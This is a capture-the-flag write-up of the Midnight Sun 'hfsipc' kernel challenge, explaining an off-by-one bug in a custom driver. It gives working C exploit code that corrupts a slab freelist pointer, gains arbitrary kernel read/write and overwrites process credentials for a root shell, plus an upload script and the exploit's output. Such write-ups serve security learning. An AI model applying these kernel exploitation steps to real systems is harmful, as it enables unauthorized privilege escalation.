Points: 558 Solves: 18

Haikus are easy. But sometimes they don’t make sense. Microwave noodles!

Attachment: hfsipc.tar.gz xpl.py pwn.c pwn_clean.c

                      Midnight Sun CTF presents...

 ██░ ██   █████▒ ██████     ██▓ ██▓███   ▄████▄  
▓██░ ██▒▓██   ▒▒██    ▒    ▓██▒▓██░  ██▒▒██▀ ▀█  
▒██▀▀██░▒████ ░░ ▓██▄      ▒██▒▓██░ ██▓▒▒▓█    ▄ 
░▓█ ░██ ░▓█▒  ░  ▒   ██▒   ░██░▒██▄█▓▒ ▒▒▓▓▄ ▄██▒
░▓█▒░██▓░▒█░   ▒██████▒▒   ░██░▒██▒ ░  ░▒ ▓███▀ ░
 ▒ ░░▒░▒ ▒ ░   ▒ ▒▓▒ ▒ ░   ░▓  ▒▓▒░ ░  ░░ ░▒ ▒  ░
 ▒ ░▒░ ░ ░     ░ ░▒  ░ ░    ▒ ░░▒ ░       ░  ▒   
 ░  ░░ ░ ░ ░   ░  ░  ░      ▒ ░░░       ░        
 ░  ░  ░             ░      ░           ░ ░      
                                        ░        
user@hfs:~$ 

hfsipc was a kernel pwn challenge. We were provided the image, which contained a custom driver hfsipc.ko, which obviously was the vulnerable part in this challenge.

The module would set up a device /dev/hfs which could be communicated with through ioctl. For accessing the device we had 4 different access modes

#define CHANNEL_CREATE 0xABCD0001
#define CHANNEL_DELETE 0xABCD0002
#define CHANNEL_READ   0xABCD0003
#define CHANNEL_WRITE  0xABCD0004

To pass parameters to the corresponding functions an input parameter struct can be used

struct channel_info {
    long id;       // used to identify the corresponding channel
    long size;     // used for channel creation
    char *buffer;  // used for read and write
};

With CHANNEL_CREATE we can create new hfs channels and allocate kernel memory, which will serve as a data buffer for those channels. Obviously with CHANNEL_DELETE those channels can be freed again.

With CHANNEL_READ and CHANNEL_WRITE we can read and write to/from the data buffers.

Nothing special in the channel creation, so I’ll skip the reversing on that one. It will just allocate kernel memory and store the information about this channel in an object, which will look like this

struct channel_object {
    long id;
    char *buffer;
    long size;    
};

With the corresponding id used at channel creation, we can then read and write to those backing buffers.

if ( flag == CHANNEL_READ ) {
    if ( !copy_from_user(&in_param1, src_param, 24) ) {
        channel_index = 0;

        while (1) {
            channel_obj = hfs_channels[channel_index];
            if ( channel_obj ) {
                if (in_param1.ID == channel_obj->ID)
                    break;
            }
            if ( ++channel_index == 2048 )
                goto LABEL_22;
        }

        channel_size = channel_obj->Size;
        if ( in_param1.Size <= channel_size )
        channel_size = in_param1.Size;

        if (!copy_to_user(in_param1.Buffer, channel_obj->Buffer, channel_size)) {
            printk(&HFS_READ_FROM_CHANNEL, channel_size);            
            goto LABEL_23;
        }
    }
    goto LABEL_13;
}

Nothing special here also, it will just search for the corresponding channel matching our input id and then read the specified size into our userland buffer, which we passed in the input object.

Things get more interesting in CHANNEL_WRITE

if (flag == CHANNEL_WRITE) {  
    if (!copy_from_user(&in_param1, src_param, 24LL)) {
        channel_idx = 0LL;

        while (1) {
            channel_obj = hfs_channels[channel_idx];
            if ( channel_obj2 )       {
                if ( in_param1.ID == channel_obj2->ID )
                    break;
            }
            if ( ++channel_idx3 == 2048 )
                goto LABEL_22;
        }

        if (in_param1.Size <= channel_obj2->Size + 1) {
            if (!copy_from_user(channel_obj2->Buffer, in_param1.Buffer, in_param1.Size)) {
                printk(&HFS_WRITE_CHANNEL, in_param1.Size);
                goto LABEL_23;
            }            
        }
    }
if (in_param1.Size <= channel_obj2->Size + 1) {

We got an off-by-one bug here, which will allow us to write one byte more to the channel, than the allocated buffer can hold. With this we can overwrite one byte in any data following the current kernel memory buffer :)

We should now be ready to start pwning this, but we’ll have to make some preparations to be able to upload our binary to the vm in order to communicate with the device.

#!/usr/bin/python
from pwn import *
import sys, base64

HOST = "hfsipc-01.play.midnightsunctf.se"
PORT = 8192

def compile():
    log.info("Compile")
    os.system("musl-gcc -w -s -static -o3 pwn.c -o pwn")

def upload():
    p = log.progress("Upload")

    with open("pwn", "rb") as f:
        data = f.read()

    encoded = base64.b64encode(data)

    for i in range(0, len(encoded), 300):
        p.status("%d / %d" % (i, len(encoded)))
        r.sendline("echo %s >> benc" % (encoded[i:i+300]))
        r.recvuntil("$ ")

    r.sendline("cat benc | base64 -d > bout")
    r.recvuntil("$ ")
    r.sendline("chmod +x bout")
    r.recvuntil("$ ")
    p.success()

def exploit(r):
    r.recvuntil("$ ")

    compile()
    upload()

    r.interactive()
    
    return

if __name__ == "__main__":
    if len(sys.argv) > 1:
        r = remote(HOST, PORT)
        exploit(r)
    else:
        r = process("./chall")
        print util.proc.pidof(r)
        pause()
        exploit(r)

This script will compile our code with musl-gcc to save some space, which makes it easier when uploading to the remote vm. Afterwards it will just base64-encode the binary and puts it on the server, decodes it again and makes it executable. Pretty default for kernel challenges.

Let’s get started with device communication

#include <fcntl.h>

#define CHANNEL_CREATE 0xABCD0001
#define CHANNEL_DELETE 0xABCD0002
#define CHANNEL_READ   0xABCD0003
#define CHANNEL_WRITE  0xABCD0004

struct channel_info {
    long id;
    long size;
    char *buffer;
};

int ioctl(int fd, unsigned long request, unsigned long param) {
    return syscall(16, fd, request, param);
}

// Create a new hfs channel
void create_channel(int fd, int id, int size) {
    struct channel_info channel;

    channel.id = id;
    channel.size = size;

    ioctl(fd, CHANNEL_CREATE, &channel);
}

// Delete hfs channel
void delete_channel(int fd, long id) {
    ioctl(fd, CHANNEL_DELETE, &id);
}

// Read from hfs channel into dest
void read_channel(int fd, int id, char *dest, int size) {
    struct channel_info channel;

    channel.id = id;
    channel.size = size;
    channel.buffer = dest;

    ioctl(fd, CHANNEL_READ, &channel);
}

// Write into hfs channel from src
void write_channel(int fd, int id, char *src, int size) {
    struct channel_info channel;

    channel.id = id;
    channel.size = size;
    channel.buffer = src;

    ioctl(fd, CHANNEL_WRITE, &channel);
}

int main(int argc, char *argv) {
    int fd;

    printf("[+] Open hfs device\n");
    fd = open("/dev/hfs", O_RDWR);

    printf("[+] Create initial channels\n");

    char payload[0x1000];
    memset(payload, 0, 0x100);

    create_channel(fd, 1, 0x100);
    create_channel(fd, 2, 0x100);
    create_channel(fd, 3, 0x100);
    create_channel(fd, 4, 0x100);
    create_channel(fd, 5, 0x100);
    create_channel(fd, 6, 0x100);
    
    memset(payload, 0x41, 0x20);
    write_channel(fd, 1, payload, 0x20);

    close(fd);

    return 0;
}

Uploading and executing the binary and checking output of dmesg

HFS IPC: created 0
HFS IPC: created 1
HFS IPC: created 2
HFS IPC: created 3
HFS IPC: created 4
HFS IPC: created 5
HFS IPC: wrote 32 bytes to 0

So, communication seems to be working and we wrote some data to kernel memory.

pwndbg> x/30gx 0xffffffffa0002360
0xffffffffa0002360:	0xffff8800001c6460	0xffff8800001c6480  <== hfs_channels
0xffffffffa0002370:	0xffff8800001c64a0	0xffff8800001c64c0
0xffffffffa0002380:	0xffff8800001c64e0	0xffff8800001c6500
0xffffffffa0002390:	0x0000000000000000	0x0000000000000000
0xffffffffa00023a0:	0x0000000000000000	0x0000000000000000


pwndbg> x/30gx 0xffff8800001c6460
0xffff8800001c6460:	0x0000000000000001	0xffff8800001ba300  <== Channel 1 / Buffer 1
0xffff8800001c6470:	0x0000000000000100	0xff5dc125f80330ca  <== Size 1
0xffff8800001c6480:	0x0000000000000002	0xffff8800001ba400  <== Channel 2 / Buffer 2
0xffff8800001c6490:	0x0000000000000100	0xe19719472e34ad89  <== Size 2
0xffff8800001c64a0:	0x0000000000000003	0xffff8800001ba500  <== Channel 3 / Buffer 3
0xffff8800001c64b0:	0x0000000000000100	0x1a512b6f8988c807  <== Size 3
0xffff8800001c64c0:	0x0000000000000004	0xffff8800001ba600  <== Channel 4 / Buffer 4 
0xffff8800001c64d0:	0x0000000000000100	0x38d251e5ab5fac52  <== Size 4
0xffff8800001c64e0:	0x0000000000000005	0xffff8800001ba700  <== Channel 5 / Buffer 5
0xffff8800001c64f0:	0x0000000000000100	0xe5f716d6aa5fdd5d  <== Size 5
0xffff8800001c6500:	0x0000000000000006	0xffff8800001ba800  <== Channel 6 / Buffer 6
0xffff8800001c6510:	0x0000000000000100	0x6be30cd9e02c88d6  <== Size 6


pwndbg> x/30gx 0xffff8800001ba300
0xffff8800001ba300:	0x4141414141414141	0x4141414141414141  <== Channel 1 buffer data
0xffff8800001ba310:	0x4141414141414141	0x4141414141414141
0xffff8800001ba320:	0x0000000000000000	0x0000000000000000
0xffff8800001ba330:	0x0000000000000000	0x0000000000000000

Since the channel objects and the buffer objects have different sizes, they are allocated in different places.

Let’s create some channels with buffer sizes matching the size of channel objects instead :)

create_channel(fd, 1, 0x20);
create_channel(fd, 2, 0x20);
create_channel(fd, 3, 0x20);
create_channel(fd, 4, 0x20);
create_channel(fd, 5, 0x20);
create_channel(fd, 6, 0x20);

memset(payload, 0x41, 0x20);
write_channel(fd, 1, payload, 0x20);
pwndbg> x/30gx 0xffff8800001c6460
0xffff8800001c6460:	0x0000000000000001	0xffff8800001c6480  <== Channel 1 Object
0xffff8800001c6470:	0x0000000000000020	0xff5dc125f80330ca
0xffff8800001c6480:	0x4141414141414141	0x4141414141414141  <== Channel 1 Buffer
0xffff8800001c6490:	0x4141414141414141	0x4141414141414141
0xffff8800001c64a0:	0x0000000000000002	0xffff8800001c64c0  <== Channel 2 Object
0xffff8800001c64b0:	0x0000000000000020	0x1a512b6f8988c807  
0xffff8800001c64c0:	0x0000000000000000	0x0000000000000000  <== Channel 2 Buffer
0xffff8800001c64d0:	0x0000000000000000	0x0000000000000000
0xffff8800001c64e0:	0x0000000000000003	0xffff8800001c6500
0xffff8800001c64f0:	0x0000000000000020	0xe5f716d6aa5fdd5d
0xffff8800001c6500:	0x0000000000000000	0x0000000000000000
0xffff8800001c6510:	0x0000000000000000	0x0000000000000000
0xffff8800001c6520:	0x0000000000000004	0xffff8800001c6540

Neat, now the channel objects and their backing buffer are nicely aligned behind each other.

This should make our off by one a little bit more powerful :)

Let’s free one of the channels

printf("[+] Free channel 3\n");
delete_channel(fd, 3);
pwndbg> x/30gx 0xffff8800001c6460
0xffff8800001c6460:	0x0000000000000001	0xffff8800001c6480  <== Channel 1 Object
0xffff8800001c6470:	0x0000000000000020	0xff5dc125f80330ca
0xffff8800001c6480:	0x0000000000000000	0x0000000000000000  <== Channel 1 Buffer
0xffff8800001c6490:	0x0000000000000000	0x0000000000000000
0xffff8800001c64a0:	0x0000000000000002	0xffff8800001c64c0  <== Channel 2 Object
0xffff8800001c64b0:	0x0000000000000020	0x1a512b6f8988c807
0xffff8800001c64c0:	0x0000000000000000	0x0000000000000000  <== Channel 2 Buffer
0xffff8800001c64d0:	0x0000000000000000	0x0000000000000000
0xffff8800001c64e0:	0xffff8800001c6500	0xffff8800001c6500  <== Channel 3 Object (freed)
0xffff8800001c64f0:	0x0000000000000020	0xe5f716d6aa5fdd5d
0xffff8800001c6500:	0xffff8800001c65e0	0x0000000000000000  <== Channel 3 Buffer (freed)
0xffff8800001c6510:	0x0000000000000000	0x0000000000000000
0xffff8800001c6520:	0x0000000000000004	0xffff8800001c6540  <== Channel 4 Object
0xffff8800001c6530:	0x0000000000000020	0xd0225688dc121d8c
0xffff8800001c6540:	0x0000000000000000	0x0000000000000000  <== Channel 4 Buffer
0xffff8800001c6550:	0x0000000000000000	0x0000000000000000
0xffff8800001c6560:	0x0000000000000005	0xffff8800001c6580
0xffff8800001c6570:	0x0000000000000020	0xea425c6d881bfa1c
0xffff8800001c6580:	0x0000000000000000	0x0000000000000000

Now the channel object and the buffer for it is freed, and the FD of the channel 3 object points to the also freed buffer.

We can now leverage the off by one overwrite, to overflow from channel 2 buffer into the LSB of the FD for channel 3, letting it pointing slightly somewhere else (for example into the channel 4 buffer)

payload[0x20] = 0x40;

printf("[+] Overwrite LSB of channel 3 FD\n");
write_channel(fd, 2, payload, 0x21);
pwndbg> x/30gx 0xffff8800001c6460
0xffff8800001c6460:	0x0000000000000001	0xffff8800001c6480  <== Channel 1 Object
0xffff8800001c6470:	0x0000000000000020	0xff5dc125f80330ca
0xffff8800001c6480:	0x0000000000000000	0x0000000000000000  <== Channel 1 Buffer
0xffff8800001c6490:	0x0000000000000000	0x0000000000000000
0xffff8800001c64a0:	0x0000000000000002	0xffff8800001c64c0  <== Channel 2 Object
0xffff8800001c64b0:	0x0000000000000020	0x1a512b6f8988c807
0xffff8800001c64c0:	0x4141414141414141	0x4141414141414141  <== Channel 2 Buffer
0xffff8800001c64d0:	0x4141414141414141	0x4141414141414141
0xffff8800001c64e0:	0xffff8800001c6540	0xffff8800001c6500  <== Channel 3 Object (freed) FD pointing to Channel 4 buffer)
0xffff8800001c64f0:	0x0000000000000020	0xe5f716d6aa5fdd5d
0xffff8800001c6500:	0xffff8800001c65e0	0x0000000000000000  <== Channel 3 Buffer (freed)
0xffff8800001c6510:	0x0000000000000000	0x0000000000000000
0xffff8800001c6520:	0x0000000000000004	0xffff8800001c6540  <== Channel 4 Object
0xffff8800001c6530:	0x0000000000000020	0xd0225688dc121d8c
0xffff8800001c6540:	0x0000000000000000	0x0000000000000000  <== Channel 4 Buffer

Starts looking interesting. Recreating channel 3 with a different chunk size now will allocate the freed Channel 3 Object again to hold the new channel object and since we use a different size, the data buffer will be allocated “somewhere else”.

Though the next channel we will create after that, will use the corrupted FD and kalloc will think, it should be allocated to 0xffff8800001c6540, which happens to be also the data buffer for channel 4.

printf("[+] Recreate channel 3 (with different chunk size)\n");
create_channel(fd, 8, 0x40);

printf("[+] Create next channel (inside channel 4 data)\n");
create_channel(fd, 9, 0x40);
pwndbg> x/30gx 0xffff8800001c6460
0xffff8800001c6460:	0x0000000000000001	0xffff8800001c6480  <== Channel 1 Object
0xffff8800001c6470:	0x0000000000000020	0xff5dc125f80330ca
0xffff8800001c6480:	0x0000000000000000	0x0000000000000000  <== Channel 1 Buffer
0xffff8800001c6490:	0x0000000000000000	0x0000000000000000
0xffff8800001c64a0:	0x0000000000000002	0xffff8800001c64c0  <== Channel 2 Object
0xffff8800001c64b0:	0x0000000000000020	0x1a512b6f8988c807
0xffff8800001c64c0:	0x4141414141414141	0x4141414141414141  <== Channel 2 Buffer
0xffff8800001c64d0:	0x4141414141414141	0x4141414141414141
0xffff8800001c64e0:	0x0000000000000008	0xffff8800001b2c40  <== Channel 8 Object (formerly Channel 3 Object)
0xffff8800001c64f0:	0x0000000000000040	0xe5f716d6aa5fdd5d
0xffff8800001c6500:	0xffff8800001c65e0	0x0000000000000000  <== Channel 3 Buffer (freed)
0xffff8800001c6510:	0x0000000000000000	0x0000000000000000
0xffff8800001c6520:	0x0000000000000004	0xffff8800001c6540  <== Channel 4 Object
0xffff8800001c6530:	0x0000000000000020	0xd0225688dc121d8c
0xffff8800001c6540:	0x0000000000000009	0xffff8800001b2c80  <== Channel 4 Buffer (and Channel 9 Object!)
0xffff8800001c6550:	0x0000000000000040	0x0000000000000000

Nice, so we now have the channel 4 buffer and the channel 9 object overlapping at 0xffff8800001c6540.

We can use this now for an arbitrary read/write, by first overwriting the channel 9 object via a channel 4 write, and then use channel 9 for read or write. I used this first to leak kernel address before realizing that the challenge didn’t even had kaslr active…

void read_data(int fd, long address, char *dest, long size) {
    printf("[+] Read data from %p\n", address);

    long pPayload[3] = { 9, address, 0xffffffffffffffff};

    // Overwrite channel object 9
    write_channel(fd, 4, pPayload, 0x18);

    // Use channel 9 to read data
    memset(dest, 0, size);
    read_channel(fd, 9, dest, size);
}

void write_data(int fd, long address, char *src, long size) {
    printf("[+] Write data to %p\n", address);

    long pPayload[3] = { 9, address, 0xffffffffffffffff};

    // Overwrite channel object 9
    write_channel(fd, 4, pPayload, 0x18);
    
    // Use channel 9 to write data
    write_channel(fd, 9, src, size);
}

Since the kernel has SMAP and SMEP active, the easiest way to get root would be to use our arbitrary write to directly overwrite task_creds and start up a shell.

To be honest, it was getting quite late at that point, and I wasted so much time trying to find task_creds in memory…

At some point, I got so desperate, that I thought “Screw it, I can read everything and write anywhere, let’s wreck havoc…” and decided to just read the complete kernel memory block and replace everything looking like the current userid (1000) ;>

So, let’s pwn this kernel ctf ghetto style…

// Just read complete region and replace everything that could be your user id ;)
char *kernel_mem = malloc(0x800000);

read_data(fd, 0xffff880006610000, kernel_mem, 0x800000);

unsigned int* pPay = (unsigned int*)kernel_mem;

for(int i=0; i<0x800000; i+=4) {
    if (*pPay++ == 1000) {
        write_address(fd, (0xffff880006610000+i), 0x0);
    }        
}

setresuid(0, 0, 0);
system("/bin/sh");

Well, this worked out better than expected :)

$ python xpl.py 1
[+] Opening connection to hfsipc-01.play.midnightsunctf.se on port 8192: Done
[*] Compile
[+] Upload: Done
[*] Switching to interactive mode

user@hfs:~$ $ ./bout
./bout
[+] Open hfs device
[+] Create initial channels
[+] Free channel 3
[+] Overwrite LSB of channel 3 FD
[+] Recreate channel 3 (with different chunk size)
[+] Create next channel (inside channel 4 data)
[+] Read data from 0xffff880006610000
[+] Write '0' to '0xffff88000696a8d0'
[+] Write '0' to '0xffff88000696a8e0'
[+] Write '0' to '0xffff88000696a8f0'
[+] Write '0' to '0xffff88000696a900'
[+] Write '0' to '0xffff88000696ac50'
[+] Write '0' to '0xffff88000696ac60'
[+] Write '0' to '0xffff88000696ac70'
[+] Write '0' to '0xffff88000696ac80'
[+] Write '0' to '0xffff88000696afd0'
[+] Write '0' to '0xffff88000696afe0'
[+] Write '0' to '0xffff88000696aff0'
[+] Write '0' to '0xffff88000696b000'
[+] Write '0' to '0xffff88000696b350'
[+] Write '0' to '0xffff88000696b360'
[+] Write '0' to '0xffff88000696b370'
[+] Write '0' to '0xffff88000696b380'
[+] Write '0' to '0xffff8800069ab02c'
[+] Write '0' to '0xffff8800069cd038'
[+] Write '0' to '0xffff8800069d5008'
[+] Write '0' to '0xffff8800069d500c'
[+] Write '0' to '0xffff8800069d5010'
[+] Write '0' to '0xffff8800069d5014'
[+] Write '0' to '0xffff8800069d5018'
[+] Write '0' to '0xffff8800069d501c'
[+] Write '0' to '0xffff8800069d5020'
[+] Write '0' to '0xffff8800069d5104'
[+] Write '0' to '0xffff8800069d5108'
[+] Write '0' to '0xffff8800069d510c'
[+] Write '0' to '0xffff8800069d5110'
[+] Write '0' to '0xffff8800069d5114'
[+] Write '0' to '0xffff8800069d5118'
[+] Write '0' to '0xffff8800069d511c'
[+] Write '0' to '0xffff8800069d5120'
[+] Write '0' to '0xffff8800069d5184'
[+] Write '0' to '0xffff8800069d5188'
[+] Write '0' to '0xffff8800069d518c'
[+] Write '0' to '0xffff8800069d5190'
[+] Write '0' to '0xffff8800069d5194'
[+] Write '0' to '0xffff8800069d5198'
[+] Write '0' to '0xffff8800069d519c'
[+] Write '0' to '0xffff8800069d51a0'
[+] Write '0' to '0xffff8800069d5208'
[+] Write '0' to '0xffff8800069d520c'
[+] Write '0' to '0xffff8800069d5210'
[+] Write '0' to '0xffff8800069d5214'
[+] Write '0' to '0xffff8800069d5218'
[+] Write '0' to '0xffff8800069d521c'
[+] Write '0' to '0xffff8800069d5220'
[+] Write '0' to '0xffff8800069d5288'
[+] Write '0' to '0xffff8800069d528c'
[+] Write '0' to '0xffff8800069d5290'
[+] Write '0' to '0xffff8800069d5294'
[+] Write '0' to '0xffff8800069d5298'
[+] Write '0' to '0xffff8800069d529c'
[+] Write '0' to '0xffff8800069d52a0'
[+] Write '0' to '0xffff8800069d5304'
[+] Write '0' to '0xffff8800069d5308'
[+] Write '0' to '0xffff8800069d530c'
[+] Write '0' to '0xffff8800069d5310'
[+] Write '0' to '0xffff8800069d5314'
[+] Write '0' to '0xffff8800069d5318'
[+] Write '0' to '0xffff8800069d531c'
[+] Write '0' to '0xffff8800069d5320'
[+] Write '0' to '0xffff8800069d5388'
[+] Write '0' to '0xffff8800069d538c'
[+] Write '0' to '0xffff8800069d5390'
[+] Write '0' to '0xffff8800069d5394'
[+] Write '0' to '0xffff8800069d5398'
[+] Write '0' to '0xffff8800069d539c'
[+] Write '0' to '0xffff8800069d53a0'
[+] Write '0' to '0xffff8800069d5408'
[+] Write '0' to '0xffff8800069d540c'
[+] Write '0' to '0xffff8800069d5410'
[+] Write '0' to '0xffff8800069d5414'
[+] Write '0' to '0xffff8800069d5418'
[+] Write '0' to '0xffff8800069d541c'
[+] Write '0' to '0xffff8800069d5420'
[+] Write '0' to '0xffff8800069d5484'
[+] Write '0' to '0xffff8800069d5488'
[+] Write '0' to '0xffff8800069d548c'
[+] Write '0' to '0xffff8800069d5490'
[+] Write '0' to '0xffff8800069d5494'
[+] Write '0' to '0xffff8800069d5498'
[+] Write '0' to '0xffff8800069d549c'
[+] Write '0' to '0xffff8800069d54a0'
[+] Write '0' to '0xffff880006ca4ec4'
[+] Write '0' to '0xffff880006cb3a68'
[+] Write '0' to '0xffff880006d11764'
[+] Write '0' to '0xffff880006d2b1d4'
[+] Write '0' to '0xffff880006d2bc18'
[+] Write '0' to '0xffff880006d45c14'
[+] Write '0' to '0xffff880006d4dda8'
[+] Write '0' to '0xffff880006d95474'
[+] Write '0' to '0xffff880006db0d34'
[+] Write '0' to '0xffff880006db1b98'
[+] Write '0' to '0xffff880006db1bac'
[+] Write '0' to '0xffff880006dba68c'
[+] Write '0' to '0xffff880006dbabec'
[+] Write '0' to '0xffff880006dc731c'
[+] Write '0' to '0xffff880006dc9ae0'
[+] Write '0' to '0xffff880006dd897c'
root@hfs:/home/user$ $ id
id
uid=0(root) gid=0(root) groups=1000(user)
root@hfs:/home/user$ $ cd /root
cd /root
root@hfs:~$ $ ls
ls
flag
root@hfs:~$ $ cat flag
cat flag
midnight{0fF_bY_0n}
root@hfs:~$ $  

It was around 05:00am then, so I really needed to get some sleep after submitting the flag.

Though mementomori came up with a proper way of leaking task_creds the next day, so I’ll also include that here for later (might come in handy)

#define INIT_TASK 0xffffffff81a1b4c0
#define OFFSET_TASKS 0x1d0
#define OFFSET_PID 0x278
#define OFFSET_CRED 0x3c0

...

long task = INIT_TASK;

while((task = read_address(fd, task + OFFSET_TASKS + 8) - OFFSET_TASKS) != INIT_TASK) {
    int pid = read_address(fd, task + OFFSET_PID);

    printf("task = %p, pid = %d\n", (void *) task, pid);

    if(pid != getpid()) 
        continue;        

    puts("found current task!");

    long cred = read_address(fd, task + OFFSET_CRED);

    for(int i = 0; i < 5; i++) {
        write_address(fd, cred + i * 4, 0);
    }

    break;
}

which will result in less writes

$ python xpl.py 
[+] Starting local process './chall': pid 5692
[5692]
[*] Paused (press any to continue)
[*] Compile
[+] Upload: Done
[*] Switching to interactive mode
$ ./bout
[+] Open hfs device
[+] Create initial channels
[+] Free channel 3
[+] Overwrite LSB of channel 3 FD
[+] Recreate channel 3 (with different chunk size)
[+] Create next channel (inside channel 4 data)
[+] Read address from 0xffffffff81a1b698
[+] Read data from 0xffffffff81a1b698
[+] Read address from 0xffff880006a10278
[+] Read data from 0xffff880006a10278
task = 0xffff880006a10000, pid = 494
found current task!
[+] Read address from 0xffff880006a103c0
[+] Read data from 0xffff880006a103c0
[+] Write '0' to '0xffff8800069f5400'
[+] Write '0' to '0xffff8800069f5404'
[+] Write '0' to '0xffff8800069f5408'
[+] Write '0' to '0xffff8800069f540c'
[+] Write '0' to '0xffff8800069f5410'
root@hfs:/home/user$ $  id
uid=0(root) gid=0(root) egid=1000(user) groups=1000(user)